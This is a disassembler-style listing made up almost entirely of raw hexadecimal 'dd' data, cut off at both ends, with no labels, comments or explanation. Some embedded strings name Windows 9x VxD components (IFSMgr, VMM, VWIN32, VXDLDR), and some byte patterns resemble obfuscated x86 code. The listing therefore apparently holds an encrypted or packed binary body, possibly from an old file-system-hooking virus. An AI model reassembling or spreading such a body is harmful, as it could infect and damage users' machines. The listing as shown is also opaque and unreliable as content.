0FAD2E504h, 6D04F6D2h, 414C766Ch, 0A6481C36h, 0AADEAA4Eh dd 3641CEF4h, 0D024CA1Ch, 354EF42h, 3BE30515h, 503D1FA5h dd 856B3EDFh, 0CB834534h, 3696587Fh, 22A83692h, 161EAFE2h dd 0AFCE6490h, 25177CEDh, 0D0E37083h, 200ED4F8h, 1E205029h dd 0DD14859Ch, 0D3E59B5Bh, 1FAF415Ch, 0B418819Dh, 0D900CAD8h dd 0F2F41EAFh, 0BFB32502h, 4CABC222h, 6FF2E725h, 134587h dd 0F5D28000h, 0A43D30A8h, 0F3EE81F7h, 993E36AAh, 0F4E57C04h dd 0EB9FECA7h, 0C2366772h, 0E96F2CA9h, 0AF316A77h, 0D37526B3h dd 0E8DFE5FBh, 0CADB12FDh, 42A12B09h, 0EDB81C36h, 40E7CD13h dd 8FE31C36h, 0EC0CB0C1h, 49A749C9h, 319B4985h, 251C35ECh dd 19C77383h, 1502FB6Eh, 0CECB625Ch, 56767826h, 82485632h dd 761300FAh, 140A8470h, 1774787h, 6FE55C92h, 0FFF1E67Eh dd 82726F01h, 61FF01A5h, 100E8074h, 92794361h, 6B6D1300h dd 66FA6E85h, 93366D79h, 0BC67F2D4h, 12A9D2h, 5176E400h dd 99944Ch, 4F4AE59Bh, 5928A4Eh, 5049E098h, 4F3B504Bh dd 26DAC3D6h, 4D13880Dh, 23D5C6D3h, 2709920Fh, 0E7933967h dd 568712FDh, 0C39B2E75h, 9681B30Bh, 62D9E1D4h, 0CDB8E692h dd 33150258h, 0B938A1BDh, 45AC2947h, 0BC32DC3h, 38657CF1h dd 0BD34ADC0h, 0E8BA719h, 1B9561E3h, 88329A07h, 64E80B94h dd 5B231190h, 24CFCA61h, 15FF54A0h, 2978E30h, 0FCE578F2h dd 1915A79Fh, 7EF7180h, 4068AD97h, 4DE09A82h, 8E547854h dd 13005724h, 0EFD5C25Ch, 757C65F9h, 7AF9FDF3h, 57E3EAh dd 1F3D213h, 38A5BA44h, 0B22F42BCh, 0DFFA77E9h, 643C8714h dd 25533A68h, 27C90BD8h, 7C1D15A7h, 6F8D478h, 118B6B68h dd 2F17841Dh, 29E6E24Fh, 556D4A00h, 0F87EEB5Bh, 1B956116h dd 606A7807h, 541C2935h, 0C03B7524h, 34BA0361h, 19AC37BAh dd 323B811Fh, 0A92F1C29h, 0E3598747h, 0E11500FFh, 0FFCDF7ADh dd 27C91300h, 4F7F21CFh, 7328B1ADh, 984671EDh, 1300FF32h dd 836E8026h, 0D9F5ADF8h, 0CE0738CBh, 0CA1ABC0Bh, 0E99F2C8Fh dd 737B630Eh, 0AE000011h, 276278Ch, 0B729726Fh, 0F8801DB8h dd 0B2267760h, 0B67D1EBBh, 0AD2C45C5h, 0E6F368F0h, 0B02D43B5h dd 0E0F975EBh, 2BB915BBh, 12FDE6A1h, 15C30895h, 0E5CF15B9h dd 0E11C3641h, 419F25BFh, 159B1C36h, 41A12BB9h, 13951C36h dd 416E4DE3h, 18741C36h, 0E50C89A6h, 413B8163h, 0A92F1C36h dd 38BBDE57h, 50CE40B4h, 3A8D5A43h, 5E1E6A62h, 2D94B955h dd 0D05E9670h, 150D2162h, 0CFC86056h, 762CA024h, 12FD9E4Ch dd 8448A648h, 1308E57Ah, 7E96B86h, 0BEB14BEFh, 2AD47A23h dd 0B04FA734h, 0D005B419h, 112B388h, 2E140000h, 1512C185h dd 3641E8CFh, 3C97191Ch, 0EB15BE15h, 98B6673h, 0B0A098EDh dd 0BC6842Eh, 6974EB15h, 81EE068Ah, 0C4862EC2h, 204DB808h dd 0C6298790h, 0BD05A5A4h, 65914E04h, 196E65BEh, 885005C4h dd 42C3h, 0B9150400h, 3641A12Bh, 0D23951Ch, 0B965E90h dd 0D7E9E5A7h, 31B33E5Bh, 0CF151EC5h, 1C3641E8h, 620596E6h dd 5C88E754h, 0DC4EA98h, 2847BE15h, 5E7026ADh, 0DF208C1Eh dd 5D99C940h, 16D1B6h, 2E020000h, 150BC684h, 3641E8CFh dd 3C97191Ch, 2847BE15h, 637026ADh, 5005C419h, 2FC388h dd 2E040000h, 150DC486h, 3641E8CFh, 17BADC1Ch, 6351AD15h dd 0CB7E4278h, 15507F2Bh, 41A12BB9h, 13951C36h, 0EDF469E3h dd 0D16370E6h, 36h, 0D4862E02h, 23AE4059h, 6974EB15h, 7D1A168Ah dd 0F8FCF276h, 41278E54h, 95271C36h, 88F9FD9Ch, 0BE15E9E8h dd 1FAF2A47h, 0AA16839Dh, 0B4CB2678h, 1AB93D71h, 0E5D16370h dd 2FFFFFEh, 0A12BB915h, 951C3641h, 9F25BB13h, 9B1C3641h dd 4356E115h, 2F61F85Dh, 37B9AA40h, 56720997h, 3E86150Dh dd 0BB36A3BCh, 4D21AB39h, 931512FDh, 0D34F715Dh, 0A30AD5C6h dd 5DD1EBE3h, 30BEDB54h, 408A18C4h, 3E12FD4Dh, 0C836A3BCh dd 23A54C55h, 787B1DD3h, 0FD4DE0E8h, 5044A112h, 88F21677h dd 0B4AA5492h, 759C2AF9h, 0B23CAECBh, 4851CD3Fh, 38A74EA6h dd 0E3000000h, 0F06841D9h, 66880CE7h, 0A52BEF8Eh, 0A31C3641h dd 5C980119h, 4C514EE2h, 36415578h, 615B6E1Ch, 36417943h dd 856B6D1Ch, 42B49B49h, 6A81503h, 0B96D95h, 2E9E0000h dd 0D50BC39Bh, 15035446h, 1EA02CB2h, 560A9300h, 9238BBD8h dd 963E6B2Ah, 0CB2BDD9Eh, 19B56D38h, 0E90D88A7h, 48E09F45h dd 0E2D40BD8h, 2AA24C49h, 0C1DF9E90h, 1C28B6FBh, 0B319C7EFh dd 0A71C28B6h, 9C01EF01h, 2C8D6B2h, 0F61C28B7h, 948A04F0h dd 7A791C17h, 55F9F8F6h, 0CA29B4ABh, 9023AE46h, 14B814B8h dd 28B6E4CEh, 36BEE01Ch, 78F0A8h, 0EAE20415h, 5A435CD0h dd 0D90D8AA6h, 0F2D4B0CEh, 837A640Fh, 0BE00000Eh, 0F266379Ch dd 0C739627Fh, 0E8702DA8h, 0C2366770h, 0A66D2EABh, 9D3C35D5h dd 0F6E37800h, 0A03D33A5h, 0F0E985FBh, 1BC905ABh, 12FDE3B1h dd 47D3F8A5h, 9F43AE2Bh, 6094051Dh, 8E6572EEh, 34C7AD1Eh dd 4F2F9F38h, 0F91D06EEh, 0C1965ED3h, 5038BC11h, 38AB89h dd 2EDC0000h, 0BF0BC39Bh, 36419B21h, 0ED098F1Ch, 0FE738D41h dd 688C10E3h, 34CBBDAh, 747F2115h, 2A736C00h, 0D61DBAB6h dd 26A67E49h, 0CE45A978h, 0C1594F0Bh, 599719D8h, 2A478F44h dd 0F76AEEAFh, 379AE2EAh, 0AE506A7Ch, 3ECE55A1h, 1C35A17Dh dd 7B20BDB3h, 0AA3729D3h, 96129747h, 0F3907A49h, 5B6EF9FDh dd 83734B83h, 947FD2BCh, 8448F400h, 0B2309A48h, 82241C35h dd 8081DC72h, 7F81150Dh, 4D03F3E6h, 16D8C55Bh, 0AE2B44B6h dd 15829C1Eh, 0BD9A5ADEh, 5B4190Eh, 0F5B388D0h, 14000000h dd 5ED1852Eh, 1526AD43h, 3641E8CFh, 3C97191Ch, 746CBE15h dd 0A4842E64h, 3641B4FEh, 0C02EB01Ch, 15874C11h, 0AF1658ADh dd 0FE71292h, 735E2C84h, 6974EB15h, 1982318Dh, 885005C4h dd 37C3h, 842E0400h, 0B9150BC6h, 33F20C09h, 4CA8291Bh dd 360C0FB6h, 0F0E3051Ch, 0B915B915h, 3641A12Bh, 0D113951Ch dd 1C3641EBh, 963DB9DFh, 26AD2847h, 1ED16370h, 2000000h dd 0BC6842Eh, 41E8CF15h, 97191C36h, 47BE153Ch, 6F558B28h dd 6B1C3641h, 7028AB45h, 5C41963h, 2EC38850h, 4000000h dd 0DC4862Eh, 41E8CF15h, 0BADC1C36h, 15B91517h, 41A12BB9h dd 13951C36h, 3641EBD1h, 3DB9DF1Ch, 0AF2A4796h, 0D1637024h dd 22h, 73EB1502h, 0AD038E66h, 0CF15F4DFh, 1C3641E8h, 153C9719h dd 0AF2A47BEh, 75EB1524h, 0EF078968h, 2D19DA6h, 2FFFFFFh dd 0BC39B2Eh, 0E0F9ED5h, 2C721A15h, 12FDF486h, 3A925C82h dd 0E8F16C8Eh, 993B8709h, 0B905CC3Fh, 1814866Eh, 6A411E7Fh dd 0F1F8B3AAh, 39EC2C0Eh, 0D84CA749h, 56985643h, 5D626876h dd 225612FDh, 96F152C2h, 0C509E7CCh, 3FB7223Bh, 2E8830C0h dd 0DC4912FEh, 109EEFE8h, 23C99288h, 0A000000h, 3641A52Bh dd 4059D51Ch, 0D549735Bh, 5DA325CCh, 9C20D3C6h, 0E87058h dd 229C0000h, 0E1638E0Bh, 9B2E6E15h, 0FFBF0BC3h, 603A9AF3h dd 6B518F56h, 5F1C35B8h, 0B13FB739h, 1502D426h, 0C6ECB2DAh dd 0C21300ABh, 0ABDEE4FAh, 0D4DA1300h, 0D4F8D41Ah, 4DA4312Ah dd 975944DBh, 7673ED5Fh, 6574EDFAh, 0DE40A8Eh, 0D81B869Bh dd 6C329A54h, 1300AB46h, 49529C42h, 0F5FC9997h, 0EF8C7151h dd 9DEB44C3h, 27CFCA63h, 7D51099Ch, 0D8982467h, 0BE0E900Bh dd 5B87223Ch, 0CAF0AEE8h, 0BE1C2917h, 441EA818h, 0D816839Fh dd 5DD38516h, 0B7348C40h, 95D6DE1Fh, 9F2CB343h, 52903C14h dd 1500BC36h, 1AA428AEh, 7C049906h, 0EEEFF7E0h, 0EFF2D3F1h dd 0B685A44h, 0B1A30000h, 5CD18714h, 8FA05845h, 5FD78912h dd 869F613Ah, 0F8918A13h, 1D7E1B12h, 0C8D5C05Bh, 1C811E10h dd 0CECFC864h, 0C6ECB2DAh, 0C212FDE0h, 2B47B211h, 0EB9F43AEh dd 36420FB5h, 1DC30B1Ch, 1C364197h, 13E30D93h, 0C2FA8599h dd 0E7A2F04Fh, 20AA3883h, 141C35B3h, 27955C92h, 0B4C35D5Fh dd 35B3C4EEh, 0D01EC01Ch, 0CF619F21h, 0E7CD22D2h, 475D1814h dd 1C35B37Dh, 55797779h, 0CB26B3ABh, 0DAD0AD49h, 89508BB3h dd 5BB4h, 9B2E1300h, 46D50BC3h, 0B2150347h, 11EA02Ch, 1BDB5D94h dd 930C2094h, 6B518F3Bh, 9B13013Ch, 2BAD1782h, 0F66AEECBh dd 2A7D0AE9h, 0CD605A72h, 0A14F48E4h, 8226CE52h, 0CE57715Ch dd 0E731910Bh, 9A432A4Ah, 388220ACh, 2C1C357Ch, 12944AAAh dd 61BA589h, 0C928B5ABh, 0A64DA947h, 6772EB15h, 72EC088Ch dd 9822C0FFh, 8C1C3641h, 25B7E40Ah, 1C3641A6h, 0DB5350CEh dd 0DC6B30BEh, 27BD11C9h, 150E0F2Dh, 63697753h, 5712FDF4h dd 0E9EFA551h, 57D9A9E5h, 0A54C8A89h, 40DF51A5h, 19634855h dd 88D005B4h, 12EB3h, 852E1400h, 0CF1512C1h, 1C3641E8h dd 153C9719h, 41A12BB9h, 0F1951C36h, 364209B3h, 15DBFD1Ch dd 15963DE1h, 8E6570EBh, 0A395EA0Ah, 0A4842EB3h, 3641B4FEh dd 9E24BA1Ch, 9A1C3641h, 0C628AE14h, 2E874C0Bh, 0B6FCA286h dd 0EE1C3641h, 3E606277h, 6E6521B0h, 5005C419h, 38C388h dd 0FDFF0000h, 9908960h, 2E700FE7h, 150BC684h, 3641E8CFh dd 848CDC1Ch, 0DF34C3CCh, 159043ADh, 2BB915BEh, 1C3641A1h dd 76ED1395h, 6199363h, 6370389Bh, 2DD1h, 842E0200h, 7DF406C6h dd 411EA43Ah, 941A1C36h, 15F39A5Ah, 3641E8CFh, 3C97191Ch dd 2847BE15h, 0B91526ADh, 3641A12Bh, 0E313951Ch, 0C419B192h dd 0C3885005h, 3Eh, 0C4862E04h, 5D7AF608h, 0A4AE1296h dd 0D86E742h, 156C13E3h, 3641E8CFh, 12BADC1Ch, 8F6770E8h dd 47BE15F0h, 6B1FAF2Ah, 36418F35h, 9B658B1Ch, 54D81B86h dd 637001A0h, 20D1h, 862E0200h, 0CF150DC4h, 1C3641E8h dd 153C9719h, 0AF2A47BEh, 2A5E7024h, 36414E74h, 50A44A1Ch dd 0FEC9D1B1h, 2E02FFFFh, 0D50BC39Bh, 150E0F9Eh, 8838941Ah dd 0DC516EECh, 16AA2EC5h, 7EF439Ah, 0DCC55963h, 1DC307BFh dd 12FDF697h, 5EE90D93h, 0C5379757h, 40C42FAAh, 0F0DA08B4h dd 0EE12FDF6h, 0F6BE049Ah, 34BA12FDh, 0A74A57CAh, 7D23D125h dd 0F6DAE676h, 3EA712FDh, 49187556h, 1D4F9288h, 80000000h dd 0A12BB915h, 0D11C3641h, 5E80425Fh, 41C60896h, 7AF61C36h dd 0AA42405Dh, 83000000h, 0BC39B2Eh, 35536D5h, 1912AC15h dd 3F3757Ch, 47834B4Dh, 0D81CBDB5h, 0D2CBC866h, 0C8F2B0DCh dd 0BC13012Ah, 0CE60DA1Ah, 29522D1h, 95C824Ah, 9F0BD8F8h dd 352BD5F9h, 0F36DF3A8h, 35800BE6h, 5733715Dh, 8F1500AAh dd 2613B9E7h, 0E1071301h, 0F10BBF0Fh, 0E2FF737Eh, 617EF20Ch dd 74E60E92h, 3ABEDFF8h, 2A5D8B26h, 0AEBD3DA8h, 0B997A440h dd 9B46F2D4h, 815B3h, 0C5E25000h, 940D20D8h, 0C3DE5107h dd 890E26DAh, 0C4D54C14h, 0DBAFDCD7h, 92465742h, 0D99FFC99h dd 0BF415A47h, 0C36536A3h, 0DDEFD50Bh, 0BAEB12FDh, 0BE2B4719h dd 1CC231A6h, 36413C86h, 38B6381Ch, 55C93BB6h, 0E637A54Ch dd 5C170BFEh, 988CDF59h, 0CAD31D65h, 5063A5E8h, 3DC289h dd 15110000h, 0D0A879ADh, 1ADA9C61h, 68643C87h, 32A573Ah dd 362BBD15h, 2D715B89h, 43651301h, 20B043ADh, 13012D9Eh dd 3D1E065Fh, 92850E10h, 6E57h, 0AB4B3300h, 55E5DAD3h dd 15E38A6Ah, 0CA6A7FADh, 0A53BA2D4h, 1C35861Fh, 9B5B951Bh dd 0E9E5BD08h, 0BD395CD7h, 0A90CD311h, 0DE001502h, 0D44D6F13h dd 4AAA2EC5h, 0DF535CD0h, 0E96F2CC2h, 0FA856C75h, 0C9D7F7AFh dd 0BCDB84Ah, 0AC2946B8h, 7D33C345h, 8917735Bh, 1C35B743h dd 30A9C137h, 6D6136BEh, 0B7398321h, 0AB2D1C35h, 31C0D955h dd 49A847AFh, 0FED6E100h, 552110CEh, 91171503h, 0F1AAB78Dh dd 3A8DD30Ah, 59346A62h, 0BF4BBFEFh, 44AA3729h, 0CF9722ADh dd 3AAE4550h, 0B93BB623h, 0CF15B937h, 548D2761h, 4F7B5355h dd 0CB26B3ADh, 14DAC759h, 0F5F26EE0h, 1FA53B7Ch, 1B52F2D6h dd 8955B95h, 9BA55E1Eh, 2F0A104h, 0FBE478F2h, 0E212C6EBh dd 0A28C17B2h, 6AEh, 2D6E4BE9h, 722BB6ABh dd 376471EEh, 6B30A9C1h, 405D7CF5h, 0ED840673h, 3229AFECh dd 0EC82F6A7h, 362AAEEFh, 903CF4A9h, 0FDDB6852h, 8C2F5C12h dd 43AE2B47h, 93061D9Fh, 6B76E963h, 4A029532h, 32984682h dd 261C3641h, 2C964C80h, 281C3641h, 14CA6E86h, 150E0F61h dd 2EA25157h, 0DF40A431h, 0BEF2D730h, 6444B33h, 0DD7F0000h dd 40DDA3F8h, 0A3BC4459h, 7BF36536h, 0A2BB3D5Eh, 0DCAD6637h dd 0F9A2372Eh, 0B4E9EC87h, 0F8A5322Ch, 0AAF3EC80h, 0B218C606h dd 0A612FDDBh, 0EB15D6F5h, 5876A77h, 7B5366F1h, 0EEE8D53h dd 0C4EA150Eh, 0FB77892Dh, 659113DEh, 0E47974EBh, 7C72F6FDh dd 0D730ED68h, 4931B0F2h, 5E6h, 5963321h, 0DAC3DE53h, 0F8C0926h dd 0D3C8D149h, 1885140Dh, 859C6E1Bh, 5AD18714h, 849A5E3Fh dd 5ED28617h, 18745C41h, 0FDDA408Ah, 24A73412h, 0BC39B2Eh dd 0D9EB7AB3h, 5D71981Ch, 358B7D47h, 7F77791Ch, 59CAC5DBh dd 0A82E150Dh, 3D58D749h, 0D7DF22A9h, 0EF87BF2h, 58Ah dd 693297C5h, 3E5F7AF7h, 6338A5BAh, 8714859Dh, 5C4158D1h dd 0C9602A5Fh, 1E15CBD0h, 0C05E227Bh, 1A16CAD3h, 6428207Dh dd 0FDDA743Eh, 60637012h, 43AE2B47h, 0FB5EB9Fh, 0B1C3642h dd 985B7EF5h, 0A01ADA14h, 0FBB138Ch, 3641EBD1h, 618BDF1Ch dd 0D48CA472h, 0A01FD719h, 0DF8EC39h, 4D138811h, 0C804C8D1h dd 3586B01Ah, 0C2E0A41Ch, 1C3586F8h, 0F004EAECh, 0E301CD71h dd 1C3586D9h, 5BCD9DCDh, 9DD9381Ch, 0AA0DA353h, 0DA1C35B7h dd 0EC9E5542h, 945B452Ch, 6F03FD52h, 15EC7F72h, 8E6F4C2Fh dd 425FD3A6h, 0D44B7559h, 0F9A2DC9h, 25CBCE67h, 0B6D2D9A9h dd 656C100Dh, 0D0B7ED91h, 4E150D28h, 0CD24B5ACh, 0F3F5AB4Bh dd 0CBF1AFDBh, 0BF12FD97h, 8F31DD19h, 0F6C60693h, 0C1A30078h dd 0F5D222A5h, 0FFF2EF83h, 0D3CE615Bh, 0CD589C20h, 0F4AA22FAh dd 0BD5553Eh, 0A618B43Ah, 0C8900D8Ah, 1BA84B54h, 0E6FCD088h dd 15025213h, 0FBC1DFABh, 2B130045h, 951BA934h, 0B92DB361h dd 0F2D4DF68h, 6704EE75h, 0A2000004h, 0D68A13B0h, 9B5D3E5Bh dd 0FC841984h, 0B62A7364h, 0BA811ABFh, 0C9D049C1h, 82170CD4h dd 0CCC96719h, 8C1509CFh, 2F75190Fh, 12FDD985h, 476F5481h dd 0A303802Bh, 0BE6F368h, 8A993989h, 0DDE9CAF6h, 7BF8618h dd 9A960AE9h, 332FD1FDh, 2DC94BA6h, 6C246F50h, 951B4260h dd 0AFDB1502h, 58CBF1h, 0DD19BF13h, 0E2728127h, 130058DCh dd 9B96130Ch, 8F01F0FEh, 5AF20194h, 6F20DBC9h, 4D0EF6h dd 679285E7h, 4Ah, 18AD1528h, 9B486FF6h, 0E7B245B1h, 0B8DF9F2Fh dd 4ADFF3E0h, 0B6EC9064h, 15031F67h, 8E0B2597h, 0BB36B866h dd 0DE8B2Dh, 35A0BB13h, 0C6D34ABEh, 27537B2Bh, 78C60792h dd 11D4C065h, 1E3F2580h, 928501EFh, 0E678h, 2B475700h dd 58D143AEh, 0B40CB241h, 0F6E5CEB2h, 15876FFAh, 0CD718019h dd 6ED9E301h, 0CBCD1C35h, 24BDB12Bh, 7C1916A8h, 2603F375h dd 35726D96h, 128FA31Ch, 3E5BD789h, 0C59D28B3h, 5C79F709h dd 37E31395h, 23A93793h, 211C356Ah, 356A3983h, 19AB2D1Ch dd 96D15F97h, 8A150297h, 0D9566864h, 43B335BCh, 16CED966h dd 0FB1728B6h, 7B1D0BCBh, 39B0A953h, 4354CC25h, 2CC246ADh dd 7970E96Fh, 0F3F3FDE4h, 0E9A132ACh, 7C8B231h, 42000003h dd 76EAB310h, 3BBDDEFBh, 1CE4B924h, 560A9304h, 0DAE1BADFh dd 6970E9A1h, 22B7AC34h, 6C690779h, 2CB5A92Fh, 0CF15B96Fh dd 12FDD7E5h, 470FB4E1h, 9923AB2Eh, 0FDDA1A87h, 0CAD8E77Bh dd 1C364200h, 6E6B02F4h, 1EF0183h, 7D3A33CDh, 36415D67h dd 9957591Ch, 2ECB805Dh, 3D58D39Bh, 9A851BB3h, 5E150371h dd 11428816h, 0B0361301h, 0A325B33Eh, 64130111h, 133A1301h dd 5492852Ah, 0D6h, 75EB1533h, 0EF078968h, 0F9F8E17Dh dd 8EBEE87h, 36459378h, 0C72B931Ch, 0CDA8FE92h, 0D74BC531h dd 0E3DDD1CAh, 22A64D48h, 0EBC458D2h, 6E856B76h, 9B3836C8h dd 25FDC85Bh, 597CFBA9h, 8E201503h, 6EF20196h, 794C1B80h dd 2D612DA1h, 1084D77h, 4FA74913h, 0CCBA3FC1h, 233DB30Bh dd 37B93BB6h, 8D0C2597h, 49688141h, 38A70DD3h, 0FDA31C34h dd 2EC0C9C5h, 724EA035h, 3700FBD1h, 7B50A4ECh, 796D6C05h dd 0E9A14714h, 0F7402AC9h, 32000001h, 86FAA300h, 2BADEEEBh dd 6CF4A934h, 46BAE3F4h, 2AF1AA2Fh, 39A0B951h, 12879C64h dd 3C59D789h, 1C85995Fh, 0DF05C97Fh, 12FDD6D5h, 47FFC4D1h dd 5B23AB2Eh, 0D4BEE667h, 0DCB1451Eh, 4851C8F2h, 0A13E32ACh dd 2B4757FCh, 5DD143AEh, 41367C22h, 0AC321C36h, 3B8E5942h dd 0C0136B63h, 5EB6131Fh, 5E7BF50Bh, 39E51193h, 360E8ABh dd 4DE4D615h, 0DD23A54Ch, 189C5742h, 718026DCh, 11EDDE3h dd 5D479E13h, 8521517Ch, 4B1692h, 15750000h, 0E77A77EBh dd 7500F4FAh, 3C626A22h, 150342F9h, 7A0AE9EFh, 13014054h dd 6EDEA84h, 2120F654h, 3AC4065Bh, 0A83BB623h, 0FF906B59h dd 709DBEA6h, 0F7928591h, 4Fh, 0E6FFEBD3h, 0CEF45946h dd 0B76B5CF2h, 5D999630h, 0EFAD15B6h, 98A61AE5h, 9235CB2Bh dd 0A91C3587h, 347E241Eh, 6C1C3587h, 0D4DAE8F1h, 0C9ECB21Ah dd 0C91502B7h, 559C3937h, 6B6D23D3h, 0B4DE1B63h, 0B4525105h dd 44C4EEh, 0D01EC013h, 2E644724h, 0D50BC39Bh, 15035DEAh dd 9B29C8CEh, 13012535h, 26CDCC65h, 0D61DBAB2h, 6C0FF566h dd 0F5D2C223h, 7631538Dh, 117BCC4h, 0BB368AEDh, 7EF20C5Bh dd 0E60E9261h, 85F50746h, 306092h, 2B2F0000h, 1C3641A5h dd 9D31E9BCh, 371C007h, 6004B415h, 22859744h, 0C4F4BEE4h dd 0EEF01300h, 380C000h, 0BCDD3FAFh, 3BC56932h, 0B63AB924h dd 9B2E9F3Eh, 5AD50BC3h, 0BE150E0Ch, 0CB67D918h, 14CAFECEh dd 12FDF3AEh, 764C49E6h, 31A78470h, 0BF4DA43Dh, 20276DF3h dd 10FBE93Ch, 661A831Ch, 5445DDCAh, 554A329Ah, 1876AC35h dd 756C01FFh, 73FAFA7Eh, 87B2EFCFh, 97E036D9h, 6475ED5Fh dd 462E9F8Dh, 7922BFB3h, 836E6B07h, 119Bh, 5AD5E700h, 0CB228411h dd 17D99A58h, 0F59C58DCh, 1547844Fh, 53CF41B0h, 2739AB46h dd 0AEC537BAh, 0DD54C82Bh, 0AAC335BCh, 0D850C42Fh, 0AFC034BFh dd 0D04DBF32h, 575D2AC9h, 0C781E789h, 4, 8704EF83h, 895C243Ch dd 81682434h, 8900003Ch, 6E682434h, 8900005Eh, 6850243Ch dd 6B7C6F1Ah, 8124048Bh, 4C4h, 0E02A0500h, 0C6899DBBh dd 3C8B5458h, 4C48324h, 4815652h, 0BA71A624h, 0EA815A3Ch dd 3CBA71A6h, 5A085789h, 5F2434FFh, 4C481h, 348B0000h dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 112EE95Ch dd 281FFFDh, 31B81F99h, 309386Dh, 5E0FFC5h, 9D18121Fh dd 0B11753B5h, 295B2341h, 393C8C85h, 4F21A02Dh, 6741CF0Bh dd 0F3569DA1h, 5D02CCFDh, 0A727986Fh, 7900CF97h, 642A6B7h dd 4732F602h, 7F4064CCh, 0B02322D1h, 4F7985E6h, 74673206h dd 9E165EB2h, 17AB68Bh, 0A82D5652h, 8C032434h, 7820FBBDh dd 0EB1B6325h, 53464934h, 2052474Dh, 444B5620h, 20202020h dd 4D4D5620h, 20202020h, 49575620h, 2032334Eh, 44585620h dd 2052444Ch, 20h, 2 dup(0) dd 807E900h, 14E90000h, 64000000h, 1D911551h, 8290E14h dd 1AD93C26h, 0A9A81467h, 60A16E23h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0DBC35343h, 128A0F97h, 0E9000000h dd 0Dh, 0DE6FBFDDh, 7AE4E801h, 0D2F850EFh, 3785C719h, 9386Eh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 6026C353h, 61C8B70Fh, 6AC68Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 60835FC3h, 10E9h, 0D6D08400h, 7129B928h, 190BF134h dd 949E91C4h, 31C9BB03h, 606161A8h, 59C38166h, 4AB86652h dd 0B70F61E9h, 53006AD8h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 5B2D98AEh, 0B14B5A74h dd 0D8D0F60h, 0E8000000h, 7, 5F741E0Fh, 5FE3F012h, 606104B1h dd 35F4B966h, 0D2B70F53h, 0E8C1615Ah, 8E910h, 0C6220000h dd 0CB4C3A30h, 0C1661320h, 8E0F08C8h, 1, 3B8589FCh, 0F09386Eh dd 885h, 2810F00h, 60000000h, 0CBC16661h, 0C38A6008h, 11E9h dd 32C42400h, 9D40C94Bh, 9998BA1Eh, 4C1E57B5h, 8361E56Fh dd 850F40FBh, 27h, 0A8B9B860h, 0BF0F0705h, 0BD8D61D0h dd 9386E0Fh, 0CE9h, 877BDA00h, 0C9766C23h, 0A4192B45h dd 1B2E982h, 83F80000h, 850F0DFBh, 36h, 17BD8DF9h, 6A09386Eh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 0C1BC351h, 9BE4E7D3h, 17AE9CAh, 8A0F0000h dd 1, 0FB83F9F9h, 84850F01h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 686EC357h dd 607ABC58h, 3802B3B8h, 0D98B6049h, 66606161h, 611293B9h dd 6E1FBD8Dh, 6A0938h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 14911AC3h, 8E48B0A2h, 9E9FC0Bh dd 6A000001h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 6059C351h, 0D9A2E181h, 83615145h dd 850F2AFBh, 9Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 0C35242h, 0D0A1282Eh, 0BC7121CDh, 0AE9FCh dd 47A20000h, 7D3FD91Bh, 1C15EAC7h, 6E27BD8Dh, 14E90938h dd 0E2000000h, 0C64A4020h, 4256DBA8h, 3E68A4CFh, 6DFD6B8Ah dd 6075B587h, 830Fh, 8B0F0000h, 2, 0E9616160h, 74h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 4C35040h, 0D33FCF03h dd 2D70FEA8h, 96B16060h, 8E961h, 21630000h, 93CE38AFh dd 83617391h, 850F27FBh, 34Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 17h, 0A4C35343h, 0F84D46A6h, 6E2FBD8Dh dd 820F0938h, 8, 28A0Fh, 61600000h, 6E3FBD89h, 66600938h dd 0F52EEBBh, 681h, 8E0F00h, 61000000h, 6AC88C66h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 6B1DC357h, 11E9FEh, 0B8810000h, 3EC07292h, 91388892h dd 0CB41D8AAh, 24E28507h, 118D0F03h, 0E9000000h, 0Ch, 6D12AA13h dd 0A46D0876h, 0DEE5EC96h, 850FC00Ah, 1E9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 9AC35646h, 0A934A9B3h dd 7E9A4F7h, 80000000h, 74549A67h, 0B58DCC4Dh, 938750Eh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0CDC35343h dd 679BDFD5h, 8C0F5A8Fh, 0Bh, 0B8E18060h, 830Fh, 8B610000h dd 3875CA85h, 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 96A35B72h, 0E960A421h, 0Eh, 104A72CCh dd 75476C62h, 54725ECCh, 8B66A3ECh, 0F9261D6h, 1680h, 11E900h dd 9B460000h, 54967C3Ch, 2DA5AD60h, 430D84E6h, 50816DFFh dd 13E9h, 8B133600h, 4234AC90h, 48352AF5h, 3FE9C51Dh, 0DF3A754Dh dd 0FE992h, 0FAFF0000h, 42712F27h, 0A351AA10h, 845DBE04h dd 10FF572h, 60FE244Ch, 8DC296BBh, 61F98B2Fh, 0C283FC5Ah dd 870F6024h, 2, 10E85F53h, 8F000000h, 494BB20Eh, 2C32F777h dd 15E3498Fh, 8BC00DDBh, 0E9615ADEh, 14h, 38D80B4Ah, 804BAB41h dd 556D4BF6h, 0C7AD5AAEh, 0E6689C5Ah, 0FC728966h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 43C35040h, 0C1A7731Fh dd 666010CEh, 0E857DE81h, 0ABE78060h, 61616160h, 2728966h dd 78E0Fh, 800F0000h, 1, 0E904CDFCh, 0Ch, 235D97DBh, 0B61EC182h dd 22966262h, 0FFE9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 78B0FD9h, 0F000000h, 188h dd 840FF500h, 1Dh, 0E9616060h, 14h, 0CF145C9Fh, 